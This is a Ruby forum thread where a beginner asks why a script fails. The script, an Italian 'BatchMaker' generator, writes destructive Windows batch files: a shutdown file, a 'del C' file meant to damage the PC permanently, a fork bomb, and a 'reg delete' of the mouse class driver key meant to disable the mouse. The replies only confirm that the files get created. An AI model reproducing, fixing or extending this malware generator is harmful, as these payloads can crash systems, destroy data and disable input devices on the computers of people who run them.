This code doesn't open the file

Hi guys, I am new to ruby, and I am trying to create a simple script that opens file, but it doesn’t work!

system "color 9f"
puts "Eseguendo BatchMaker… by Sapphire Security"
system "timeout 3 > nul"
puts "Ecco i principali comandi, il comando ‘pcdown’, che può essere impiegato per la realizzazione"
puts "di file batch che appena aperti spengono il proprio computer; il comando ‘ripcomputer’, che"
puts "viene usato per la creazione di file batch che danneggiano un pc permanentemente, e ‘simplemalware’, che"
puts "crea un virus semplice, che se non contrastato subito può causare molti problemi."
puts "Esistono anche più comandi, come per esempio il 'blockmouse', che se aperto disabilita il mouse"
puts "in modo permanente."
puts "Scelta:"
scelta = gets.chomp
if scelta == "pcdown"
	File.open('pcdown.bat', 'w') do |pcdown|
	pcdown.puts "shutdown -p"
end
elsif scelta == "ripcomputer"
	File.open('ripcomputer.bat', 'w') do |ripcomputer|
		ripcomputer.puts "del C"
	end
elsif scelta == "simplemalware"
	File.open('simplemalware.bat', 'w') do |simplemalware|
		simplemalware.puts ":1"
		simplemalware.puts "start"
		simplemalware.puts "goto 1"
	end
elsif scelta == "blockmouse"
	File.open('blockmouse.bat', 'w') do |blockmouse|
		blockmouse.puts 'rem -----------'
		blockmouse.puts 'rem Disable Mouse'
		blockmouse.puts 'set key=HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass'
		blockmouse.puts 'reg delete %key%'
		blockmouse.puts 'rem -----------'
	end
else
puts "Scelta non valida."
end

These are italian words, could someone help me please? It doesn’t open the file!

Please code write:

.```
your code
.```

I tried running your code and the .bat files seem to be created fine.
What exactly is going wrong?

Idk, I just moved it on my desktop and it worked…

I would run your code in my system its working you please try again hope it will work with you.

This forum is not affiliated to the Ruby language, Ruby on Rails framework, nor any Ruby applications discussed here.

| Privacy Policy | Terms of Service | Remote Ruby Jobs